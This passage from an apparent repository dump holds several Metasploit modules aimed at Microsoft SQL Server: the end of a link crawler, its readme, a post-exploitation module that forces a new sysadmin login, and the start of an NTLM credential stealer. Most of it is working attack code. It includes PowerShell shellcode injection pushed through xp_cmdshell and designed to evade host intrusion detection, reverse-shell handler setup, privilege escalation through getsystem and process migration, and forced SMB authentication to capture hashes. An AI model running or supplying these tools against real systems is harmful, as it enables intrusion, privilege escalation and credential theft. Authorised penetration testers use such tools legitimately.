i} 242 | 243 | # Actual query - defined when the function originally called - ticks multiplied 244 | if path.length == 0 245 | return execute.gsub("'","'"*2**ticks) 246 | 247 | # openquery generator 248 | else 249 | sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")" 250 | return sql 251 | end 252 | end 253 | 254 | # --------------------------------------------------------------------- 255 | # Method that builds nested openquery statements using during crawling 256 | # --------------------------------------------------------------------- 257 | def query_builder_rpc(path,sql,ticks,execute) 258 | 259 | # Temp used to maintain the original masterList[x]["path"] 260 | temp = Array.new 261 | path.each {|i| temp << i} 262 | 263 | # Actual query - defined when the function originally called - ticks multiplied 264 | if path.length == 0 265 | return execute.gsub("'","'"*2**ticks) 266 | 267 | # Openquery generator 268 | else 269 | exec_at = temp.shift 270 | sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]" 271 | return sql 272 | end 273 | end 274 | 275 | # --------------------------------------------------------------------- 276 | # Method for adding new linked database servers to the crawl list 277 | # --------------------------------------------------------------------- 278 | def add_host(name,path,parse_results) 279 | 280 | # Used to add new servers to masterList 281 | server = Hash.new 282 | server["name"] = name 283 | temppath = Array.new 284 | path.each {|i| temppath << i } 285 | server["path"] = [temppath] 286 | server["path"].first << name 287 | server["done"] = 0 288 | parse_results.each {|stuff| 289 | server["db_user"] = stuff.at(1) 290 | server["db_sysadmin"] = stuff.at(2) 291 | server["db_version"] = stuff.at(3) 292 | server["db_os"] = stuff.at(4) 293 | server["numlinks"] = stuff.at(6) 294 | } 295 | return server 296 | end 297 | 298 | # --------------------------------------------------------------------- 299 | # Method to display configuration information 300 | # --------------------------------------------------------------------- 301 | def show_configs(i,parse_results,entry=false) 302 | 303 | print_status(" ") 304 | parse_results.each {|stuff| 305 | 306 | # Translate syadmin code 307 | status = stuff.at(5) 308 | if status == 1 then 309 | dbpriv = "sysadmin" 310 | else 311 | dbpriv = "user" 312 | end 313 | 314 | # Display database link information 315 | if entry == false 316 | print_status("Linked Server: #{i}") 317 | print_status(" o Link user: #{stuff.at(1)}") 318 | print_status(" o Link privs: #{dbpriv}") 319 | print_status(" o Link version: #{stuff.at(3)}") 320 | print_status(" o Link OS: #{stuff.at(4).strip}") 321 | print_status(" o Links on server: #{stuff.at(6)}") 322 | else 323 | print_status("Server: #{i}") 324 | print_status(" o Server user: #{stuff.at(1)}") 325 | print_status(" o Server privs: #{dbpriv}") 326 | print_status(" o Server version: #{stuff.at(3)}") 327 | print_status(" o Server OS: #{stuff.at(4).strip}") 328 | print_status(" o Server on server: #{stuff.at(6)}") 329 | end 330 | } 331 | end 332 | 333 | # --------------------------------------------------------------------- 334 | # Method for generating the report and loot 335 | # --------------------------------------------------------------------- 336 | def write_to_report(i,server,parse_results,linked_server_table,link_status) 337 | parse_results.each {|stuff| 338 | # Parse server information 339 | db_link_user = stuff.at(1) 340 | db_link_sysadmin = stuff.at(2) 341 | db_link_version = stuff.at(3) 342 | db_link_os = stuff.at(4) 343 | 344 | # Add link server to the reporting array and set link_status to 'up' 345 | linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status] 346 | 347 | return linked_server_table 348 | } 349 | end 350 | 351 | # --------------------------------------------------------------------- 352 | # Method for enabling xp_cmdshell 353 | # --------------------------------------------------------------------- 354 | def enable_xp_cmdshell(path,name,shelled) 355 | # Enables "show advanced options" and xp_cmdshell if needed and possible 356 | # They cannot be enabled in user transactions (i.e. via openquery) 357 | # Only enabled if RPC_Out is enabled for linked server 358 | # All changes are reverted after payload delivery and execution 359 | 360 | # Check if "show advanced options" is enabled 361 | execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'" 362 | sql = query_builder(path,"",0,execute) 363 | result = mssql_query(sql, false) if mssql_login_datastore 364 | saoOrig = result[:rows].pop.pop 365 | 366 | # Check if "xp_cmdshell" is enabled 367 | execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" 368 | sql = query_builder(path,"",0,execute) 369 | result = mssql_query(sql, false) if mssql_login_datastore 370 | xpcmdOrig = result[:rows].pop.pop 371 | 372 | # Try blindly to enable "xp_cmdshell" on the linked server 373 | # Note: 374 | # This only works if rpcout is enabled for all links in the link path. 375 | # If that is not the case it fails cleanly. 376 | if xpcmdOrig == 0 377 | if saoOrig == 0 378 | # Enabling show advanced options and xp_cmdshell 379 | execute = "sp_configure 'show advanced options',1;reconfigure" 380 | sql = query_builder_rpc(path,"",0,execute) 381 | result = mssql_query(sql, false) if mssql_login_datastore 382 | end 383 | 384 | # Enabling xp_cmdshell 385 | print_status("\t - xp_cmdshell is not enabled on " + path.last + "... Trying to enable") 386 | execute = "sp_configure 'xp_cmdshell',1;reconfigure" 387 | sql = query_builder_rpc(path,"",0,execute) 388 | result = mssql_query(sql, false) if mssql_login_datastore 389 | end 390 | 391 | # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.) 392 | execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" 393 | sql = query_builder(path,"",0,execute) 394 | result = mssql_query(sql, false) if mssql_login_datastore 395 | xpcmdNow = result[:rows].pop.pop 396 | 397 | if xpcmdNow == 1 or xpcmdOrig == 1 398 | print_status("\t - Enabled xp_cmdshell on " + path.last) if xpcmdOrig == 0 399 | if datastore['DEPLOY'] 400 | print_status("Ready to deploy a payload #{name}") 401 | if datastore['DEPLOYLIST']=="" 402 | datastore['DEPLOYLIST'] = nil 403 | end 404 | if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true 405 | print_status("\t - Checking if #{name} is on the deploy list...") 406 | end 407 | if datastore['DEPLOYLIST'] != nil 408 | deploylist = datastore['DEPLOYLIST'].upcase.split(',') 409 | end 410 | if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase 411 | if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true 412 | print_status("\t - #{name} is on the deploy list.") 413 | end 414 | unless shelled.include?(name) 415 | powershell_upload_exec(path) 416 | shelled << name 417 | else 418 | print_status("Payload already deployed on #{name}") 419 | end 420 | elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true 421 | print_status("\t - #{name} is not on the deploy list") 422 | end 423 | end 424 | else 425 | print_error("\t - Unable to enable xp_cmdshell on " + path.last) 426 | end 427 | 428 | # Revert soa and xp_cmdshell to original state 429 | if xpcmdOrig == 0 and xpcmdNow == 1 430 | print_status("\t - Disabling xp_cmdshell on " + path.last) 431 | execute = "sp_configure 'xp_cmdshell',0;reconfigure" 432 | sql = query_builder_rpc(path,"",0,execute) 433 | result = mssql_query(sql, false) if mssql_login_datastore 434 | end 435 | if saoOrig == 0 and xpcmdNow == 1 436 | execute = "sp_configure 'show advanced options',0;reconfigure" 437 | sql = query_builder_rpc(path,"",0,execute) 438 | result = mssql_query(sql, false) if mssql_login_datastore 439 | end 440 | end 441 | 442 | # ---------------------------------------------------------------------- 443 | # Method that delivers shellcode payload via powershell thread injection 444 | # ---------------------------------------------------------------------- 445 | def powershell_upload_exec(path) 446 | 447 | # Create powershell script that will inject shell code from the selected payload 448 | myscript ="$code = @\" 449 | [DllImport(\"kernel32.dll\")] 450 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 451 | [DllImport(\"kernel32.dll\")] 452 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 453 | [DllImport(\"msvcrt.dll\")] 454 | public static extern IntPtr memset(IntPtr dest, uint src, uint count); 455 | \"@ 456 | $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru 457 | [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')} 458 | $size = 0x1000 459 | if ($sc.Length -gt 0x1000) {$size = $sc.Length} 460 | $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 461 | for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} 462 | $winFunc::CreateThread(0,0,$x,0,0,0)" 463 | 464 | # Unicode encode powershell script 465 | mytext_uni = Rex::Text.to_unicode(myscript) 466 | 467 | # Base64 encode unicode 468 | mytext_64 = Rex::Text.encode_base64(mytext_uni) 469 | 470 | # Generate random file names 471 | rand_filename = rand_text_alpha(8) 472 | var_duplicates = rand_text_alpha(8) 473 | 474 | # Write base64 encoded powershell payload to temp file 475 | # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations 476 | # Also, line number tracking was added so that duplication lines causes by nested linked 477 | # queries could be found and removed. 478 | print_status("Deploying payload...") 479 | linenum = 0 480 | mytext_64.scan(/.{1,2500}/).each {|part| 481 | execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'" 482 | sql = query_builder(path,"",0,execute) 483 | result = mssql_query(sql, false) if mssql_login_datastore 484 | linenum = linenum+1 485 | } 486 | 487 | # Remove duplicate lines from temp file and write to new file 488 | execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'" 489 | sql = query_builder(path,"",0,execute) 490 | result = mssql_query(sql, false) if mssql_login_datastore 491 | 492 | # Remove tracking tags from lines 493 | execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'" 494 | sql = query_builder(path,"",0,execute) 495 | result = mssql_query(sql, false) if mssql_login_datastore 496 | 497 | # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors 498 | # If running on 64bit system, 32bit powershell called from syswow64 499 | powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\ 500 | '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\ 501 | -noexit -noprofile -encodedCommand $dacode\"};iex $psbits" 502 | powershell_uni = Rex::Text.to_unicode(powershell_cmd) 503 | powershell_64 = Rex::Text.encode_base64(powershell_uni) 504 | 505 | # Setup query 506 | execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'" 507 | sql = query_builder(path,"",0,execute) 508 | 509 | # Execute the playload 510 | print_status("Executing payload...") 511 | result = mssql_query(sql, false) if mssql_login_datastore 512 | # Remove payload data from the target server 513 | execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'" 514 | sql = query_builder(path,"",0,execute) 515 | result = mssql_query(sql,false) 516 | end 517 | end 518 | -------------------------------------------------------------------------------- /mssql_linkcrawler_readme.txt: -------------------------------------------------------------------------------- 1 | Database Crawler Readme 2 | 3 | --------------- 4 | Features 5 | --------------- 6 | o Users can crawl Microsoft SQL database links with any valid database login. 7 | - It provides information about each link crawled 8 | - It identifies and handlers bad links 9 | - It prevents persistent crawl loops 10 | 11 | o Audit results are automatically saved in a CSV report and loot. It includes: 12 | - The login used to configure the database link 13 | - The login's privilege level 14 | - The SQL Server version 15 | - The OS version 16 | - The link status (alive or dead) 17 | 18 | o Users have the option to deliver metasploit payloads to linked servers where xp_cmdshell is enabled 19 | o Users have the option to deliver metasploit payloads to specific server's instead of all servers 20 | o Payloads are deployed using powershell thread injection for speed, and to avoid HIDS 21 | o Standard and verbose screen output options are available 22 | o Support 32 and 64 bit platforms by executing 32-bit powershell on 64 bit systems 23 | 24 | --------------- 25 | Runtime Notes 26 | --------------- 27 | Use this configuration for best results: 28 | 29 | Step #1 - Start a multi/handler 30 | 31 | use multi/handler 32 | set payload windows/meterpreter/reverse_tcp 33 | set lhost 0.0.0.0 34 | set lport 443 35 | set ExitOnSession false 36 | exploit -j -z 37 | 38 | Step #2 - Run the Module 39 | 40 | use exploit/windows/mssql/mssql_linkcrawler 41 | set password superpassword 42 | set username superadmin 43 | set rhost 44 | set payload windows/meterpreter/reverse_tcp 45 | set lhost 46 | set lport 443 47 | set DisablePayloadHandler true 48 | exploit 49 | 50 | --------------- 51 | Current Constraints 52 | --------------- 53 | o Cannot crawl through SQL Server 2000 54 | o Cannot enable xp_cmdshell through links 55 | o Cannot deliver payloads to systems without powershell (at the moment) 56 | o Currently, the module leaves a powershell process running on exit -------------------------------------------------------------------------------- /mssql_local_auth_bypass.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/post/common' 4 | require 'msf/core/post/windows/priv' 5 | require 'msf/core/post/file' 6 | 7 | 8 | class Metasploit3 < Msf::Post 9 | 10 | def initialize(info={}) 11 | super( update_info( info, 12 | 'Name' => 'SQL Server - Local Authorization Bypass - Add SYSADMIN', 13 | 'Description' => %q{ When this module is executed via an existing 14 | meterpreter session it can be used to add a sysadmin to local 15 | SQL Server instances. It first attempts to gain LocalSystem privileges 16 | using the "getsystem" escalation methods. If those privileges are not 17 | sufficient to add a sysadmin, then it will migrate to the SQL Server 18 | service process associated with the target instance. The sysadmin 19 | login is added to the local SQL Server using native SQL clients and 20 | stored procedures. If no intance is specified then the first identified 21 | instance will be used. 22 | 23 | Why is this possible? By default in SQL Server 2k-2k8, LocalSystem 24 | is assigned syadmin privileges. Microsoft changed the default in 25 | SQL Server 2012 so that LocalSystem no longer has sysadmin privileges. 26 | However, this can be overcome by migrating to the SQL Server process.}, 27 | 'License' => MSF_LICENSE, 28 | 'Author' => [ 'Scott Sutherland '], 29 | 'Platform' => [ 'Windows' ], 30 | 'SessionTypes' => [ 'meterpreter' ] 31 | )) 32 | 33 | register_options( 34 | [ 35 | OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']), 36 | OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']), 37 | OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']), 38 | OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false']), 39 | OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']), 40 | ], self.class) 41 | end 42 | 43 | # TODO 44 | # - test execute thread migration option 45 | # - test incognito token stuff 46 | # - test all fucntions on all version 47 | # - run through ruby module validation process 48 | 49 | def run 50 | 51 | # Set verbosity level 52 | verbose = datastore['verbose'].to_s.downcase 53 | 54 | # Set instance name (if specified) 55 | instance = datastore['instance'].to_s.upcase 56 | 57 | # Display target 58 | print_status("Running module against #{sysinfo['Computer']}") 59 | 60 | # Get LocalSystem privileges 61 | system_status = givemesystem 62 | if system_status[0] 63 | 64 | # Check if a SQL Server service is running 65 | service_instance = check_for_sqlserver(instance) 66 | if service_instance != 0 67 | 68 | # Identify available native SQL client 69 | sql_client = get_sql_client() 70 | if sql_client != 0 71 | 72 | # Check if remove_login was selected 73 | if datastore['REMOVE_LOGIN'].to_s.downcase == "false" 74 | 75 | # Add new login 76 | add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) 77 | if add_login_status == 1 78 | 79 | # Add login to sysadmin fixed server role 80 | add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) 81 | else 82 | 83 | if add_login_status != "userexists" then 84 | 85 | # Attempt to impersonate sql server service account (for sql server 2012) 86 | impersonate_status = impersonate_sql_user(service_instance,verbose) 87 | if impersonate_status == 1 88 | 89 | # Add new login 90 | add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) 91 | if add_login_status == 1 92 | 93 | # Add login to sysadmin fixed server role 94 | add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) 95 | end 96 | end 97 | end 98 | end 99 | else 100 | 101 | # Remove login 102 | remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose) 103 | if remove_status == 0 104 | 105 | # Attempt to impersonate sql server service account (for sql server 2012) 106 | impersonate_status = impersonate_sql_user(service_instance,verbose) 107 | if impersonate_status == 1 108 | 109 | # Remove login 110 | remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose) 111 | end 112 | end 113 | end 114 | end 115 | end 116 | else 117 | print_error("Could not obtain LocalSystem privileges") 118 | end 119 | 120 | # return to original priv context 121 | session.sys.config.revert_to_self 122 | end 123 | 124 | 125 | ## ---------------------------------------------- 126 | ## Method to check if the SQL Server service is running 127 | ## ---------------------------------------------- 128 | def check_for_sqlserver(instance) 129 | 130 | print_status("Checking for SQL Server...") 131 | 132 | # Get Data 133 | running_services = run_cmd("net start") 134 | 135 | # Parse Data 136 | services_array = running_services.split("\n") 137 | 138 | # Check for the SQL Server service 139 | services_array.each do |service| 140 | if instance == "" then 141 | # Target default instance 142 | if service =~ /SQL Server \(| MSSQLSERVER/ then 143 | 144 | # Display results 145 | service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip 146 | print_good("SQL Server instance found: #{service_instance}") 147 | return service_instance 148 | end 149 | else 150 | 151 | # Target user defined instance 152 | if service =~ /#{instance}/ then 153 | 154 | # Display user defined instance 155 | print_good("SQL Server instance found: #{instance}") 156 | return instance 157 | end 158 | end 159 | end 160 | 161 | # Fail 162 | if instance == "" then 163 | print_error("SQL Server instance NOT found") 164 | else 165 | print_error("SQL Server instance \"#{instance}\" was NOT found") 166 | end 167 | return 0 168 | end 169 | 170 | 171 | ## ---------------------------------------------- 172 | ## Method for identifying which SQL client to use 173 | ## ---------------------------------------------- 174 | def get_sql_client 175 | 176 | print_status("Checking for native client...") 177 | 178 | # Get Data - osql 179 | running_services1 = run_cmd("osql -?") 180 | 181 | # Parse Data - osql 182 | services_array1 = running_services1.split("\n") 183 | 184 | # Check for osql 185 | services_array1.each do |service1| 186 | if service1 =~ /SQL Server Command Line Tool/ then 187 | print_good("OSQL client was found") 188 | return "osql" 189 | end 190 | end 191 | 192 | # Get Data - sqlcmd 193 | running_services = run_cmd("sqlcmd -?") 194 | 195 | # Parse Data - sqlcmd 196 | services_array = running_services.split("\n") 197 | 198 | # Check for SQLCMD 199 | services_array.each do |service| 200 | if service =~ /SQL Server Command Line Tool/ then 201 | print_good("SQLCMD client was found") 202 | return "sqlcmd" 203 | end 204 | end 205 | 206 | # Fail 207 | print_error("No native SQL client was found") 208 | return 0 209 | end 210 | 211 | ## ---------------------------------------------- 212 | ## Method for adding a login 213 | ## ---------------------------------------------- 214 | def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose) 215 | 216 | print_status("Attempting to add new login #{dbuser}...") 217 | 218 | # Setup command format to accomidate version inconsistencies 219 | if instance == "" 220 | # Check default instance name 221 | if service_instance == "MSSQLSERVER" then 222 | print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true" 223 | sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\"" 224 | else 225 | # User defined instance 226 | print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true" 227 | sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\"" 228 | end 229 | else 230 | # User defined instance 231 | print_status(" o defined instance: #{service_instance}") if verbose == "true" 232 | sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\"" 233 | end 234 | 235 | # Display debugging information 236 | print_status("Running command:") if verbose == "true" 237 | print_status("#{sqlcommand}") if verbose == "true" 238 | 239 | # Get Data 240 | add_login_result = run_cmd("#{sqlcommand}") 241 | 242 | # Parse Data 243 | add_login_array = add_login_result.split("\n") 244 | 245 | # Check if user exists 246 | add_login_array.each do |service| 247 | 248 | if service =~ /already exists/ then 249 | print_error("Unable to add login #{dbuser}, user already exists") 250 | return "userexists" 251 | end 252 | end 253 | 254 | # check for success/fail 255 | if add_login_result == "" 256 | print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"") 257 | return 1 258 | else 259 | print_error("Unabled to add login #{dbuser}") 260 | print_error("Database Error:\n #{add_login_result}") 261 | return 0 262 | end 263 | end 264 | 265 | 266 | ## ---------------------------------------------- 267 | ## Method for adding a login to sysadmin role 268 | ## ---------------------------------------------- 269 | def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose) 270 | 271 | print_status("Attempting to make #{dbuser} login a sysadmin...") 272 | 273 | # Setup command format to accomidate command inconsistencies 274 | if instance == "" 275 | # Check default instance name 276 | if service_instance == "MSSQLSERVER" then 277 | sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \"" 278 | else 279 | sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \ 280 | begin select 'bingo' end \"" 281 | end 282 | else 283 | sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \"" 284 | end 285 | 286 | # Display debugging information 287 | print_status("Running command:") if verbose == "true" 288 | print_status("#{sqlcommand}") if verbose == "true" 289 | 290 | # Get Data 291 | add_sysadmin_result = run_cmd("#{sqlcommand}") 292 | 293 | # Parse Data 294 | add_sysadmin_array = add_sysadmin_result.split("\n") 295 | 296 | # Check for success 297 | check = 0 298 | add_sysadmin_array.each do |service| 299 | if service =~ /bingo/ then 300 | check = 1 301 | end 302 | end 303 | 304 | # Display results to user 305 | if check == 1 306 | print_good("Successfully added \"#{dbuser}\" to sysadmin role") 307 | return 1 308 | else 309 | # Fail 310 | print_error("Unabled to add #{dbuser} to sysadmin role") 311 | print_error("Database Error:\n\n #{add_sysadmin_result}") 312 | return 0 313 | end 314 | end 315 | 316 | 317 | ## ---------------------------------------------- 318 | ## Method for removing login 319 | ## ---------------------------------------------- 320 | def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose) 321 | 322 | print_status("Attempting to remove login \"#{dbuser}\"") 323 | 324 | # Setup command format to accomidate command inconsistencies 325 | if instance == "" 326 | # Check default instance name 327 | if service_instance == "SQLEXPRESS" then 328 | # Set command here for SQLEXPRESS 329 | sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\"" 330 | else 331 | sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\"" 332 | end 333 | else 334 | # Set command here 335 | sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\"" 336 | end 337 | 338 | # Display debugging information 339 | print_status("Settings:") if verbose == "true" 340 | print_status(" o SQL Client: #{sqlclient}") if verbose == "true" 341 | print_status(" o User: #{dbuser}") if verbose == "true" 342 | print_status(" o Service instance: #{service_instance}") if verbose == "true" 343 | print_status(" o User defined instance: #{instance}") if verbose == "true" 344 | print_status("Command:") if verbose == "true" 345 | print_status("#{sqlcommand}") if verbose == "true" 346 | 347 | # Get Data 348 | remove_login_result = run_cmd("#{sqlcommand}") 349 | 350 | # Parse Data 351 | remove_login_array = remove_login_result.split("\n") 352 | 353 | # Check for success 354 | check = 0 355 | remove_login_array.each do |service| 356 | if service =~ // then 357 | check = 1 358 | end 359 | end 360 | 361 | # Display result 362 | if check == 0 363 | print_good("Successfully removed login \"#{dbuser}\"") 364 | return 1 365 | else 366 | # Fail 367 | print_error("Unabled to remove login #{dbuser}") 368 | print_error("Database Error:\n\n #{remove_login_result}") 369 | return 0 370 | end 371 | end 372 | 373 | ## ---------------------------------------------- 374 | ## Method for executing cmd and returning the response 375 | ## 376 | ## Note: This is from one of Jabra's modules - Thanks man! 377 | ## #craps out when escalating from local admin to system 378 | ##---------------------------------------------- 379 | def run_cmd(cmd,token=true) 380 | opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} 381 | process = session.sys.process.execute(cmd, nil, opts) 382 | res = "" 383 | while (d = process.channel.read) 384 | break if d == "" 385 | res << d 386 | end 387 | process.channel.close 388 | process.close 389 | return res 390 | end 391 | 392 | 393 | ## ---------------------------------------------- 394 | ## Method for impersonating sql server instance 395 | ## ---------------------------------------------- 396 | def impersonate_sql_user(service_instance,verbose) 397 | 398 | # Print the current user 399 | blah = session.sys.config.getuid if verbose == "true" 400 | print_status("Current user: #{blah}") if verbose == "true" 401 | 402 | # Define target user/pid 403 | targetuser = "" 404 | targetpid = "" 405 | 406 | # Identify SQL Server service processes 407 | print_status("Searching for sqlservr.exe processes not running as SYSTEM...") 408 | session.sys.process.get_processes().each do |x| 409 | 410 | # Search for all sqlservr.exe processes 411 | if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM") 412 | 413 | # Found one 414 | print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}") 415 | 416 | # Define target pid / user 417 | if x['user'] =~ /NT SERVICE/ then 418 | if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then 419 | targetuser = "NT SERVICE\\MSSQL$#{service_instance}" 420 | targetpid = x['pid'] 421 | end 422 | else 423 | targetuser = x['user'] 424 | targetpid = x['pid'] 425 | end 426 | end 427 | end 428 | 429 | # Attempt to migrate to target sqlservr.exe process 430 | if targetuser == "" then 431 | print_error("Unable to find sqlservr.exe process not running as SYSTEM") 432 | return 0 433 | else 434 | begin 435 | # Migrating works, but I can't rev2self after its complete 436 | print_status("Attempting to migrate to process #{targetpid}...") 437 | session.core.migrate(targetpid.to_i) 438 | 439 | # Statusing 440 | blah = session.sys.config.getuid if verbose == "true" 441 | print_status("Current user: #{blah}") if verbose == "true" 442 | print_good("Successfully migrated to sqlservr.exe process #{targetpid}") 443 | return 1 444 | rescue 445 | print_error("Unable to migrate to sqlservr.exe process #{targetpid}") 446 | return 0 447 | end 448 | end 449 | end 450 | 451 | ## 452 | ## Check user is already system 453 | ## 454 | def givemesystem 455 | 456 | # Statusing 457 | print_status("Checking if user is SYSTEM...") 458 | 459 | # Check if user is system 460 | if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM" 461 | print_good("User is SYSTEM") 462 | return 1 463 | else 464 | # Attempt to get LocalSystem privileges 465 | print_error("User is NOT SYSTEM") 466 | print_status("Attempting to get SYSTEM privileges...") 467 | system_status = session.priv.getsystem 468 | if system_status[0] 469 | print_good("Success!, user is now SYSTEM") 470 | return 1 471 | else 472 | print_error("Unable to obtained SYSTEM privileges") 473 | return 0 474 | end 475 | end 476 | end 477 | 478 | end -------------------------------------------------------------------------------- /mssql_ntlm_stealer.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | 4 | class Metasploit3 < Msf::Auxiliary 5 | 6 | include Msf::Exploit::Remote::MSSQL 7 | include Msf::Auxiliary::Scanner 8 | include Rex::Text 9 | 10 | def initialize(info = {}) 11 | super(update_info(info, 12 | 'Name' => 'Microsoft SQL Server NTLM Stealer', 13 | 'Description' => %q{ 14 | 15 | This module can be used to help capture or relay the LM/NTLM 16 | credentials of the account running the remote SQL Server service. 17 | The module will use the supplied credentials to connect to the 18 | target SQL Server instance and execute the native "xp_dirtree" or 19 | "xp_fileexist" stored procedure. The stored procedures will then 20 | force the service account to authenticate to the system defined in 21 | the SMBProxy option. In order for the attack to be successful, the 22 | SMB capture or relay module must be running on the system defined 23 | as the SMBProxy. The database account used to connect to the 24 | database should only require the "PUBLIC" role to execute. 25 | Successful execution of this attack usually results in local 26 | administrative access to the Windows system. Specifically, this 27 | works great for relaying credentials between two SQL Servers using 28 | a shared service account to get shells. However, if the relay fails, 29 | then the LM hash can be reversed using the Halflm rainbow tables and 30 | john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer 31 | for the inspiration. 32 | }, 33 | 'Author' => [ 'Scott Sutherland [at] netspi [dot] com>' ], 34 | 'License' => MSF_LICENSE, 35 | 'Platform' => [ 'Windows' ], 36 | 'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]], 37 | )) 38 | 39 | register_options( 40 | [ 41 | OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']), 42 | ], self.class) 43 | end 44 | 45 | def run_host(ip) 46 | 47 | ## WARNING 48 | print_status("DONT FORGET to run a SMB capture or relay module!") 49 | 50 | ## SET DEFAULT RESULT (FAIL) 51 | result = 0 52 | 53 | ## CALL AUTH_FORCE METHODS TO EXECUTE "xp_dirtree" AND "xp_fileexist" 54 | result = force_auth("xp_dirtree",datastore['SMBPROXY'],rhost,rport) 55 | 56 | if result == 0 then 57 | result = force_auth("xp_fileexist",datastore['SMBPROXY'],rhost,rport) 58 | end 59 | 60 | ## DISPLAY THE STATUS TO THE USER 61 | if result == 1 then 62 | print_good("Attempt complete, go check your SMB relay or capture module for goodies!") 63 | else 64 | print_error("Module failed to initiate authentication to smbproxy.") 65 | end 66 | end 67 | 68 | 69 | ## -------------------------------------------- 70 | ## METHOD TO FORCE SQL 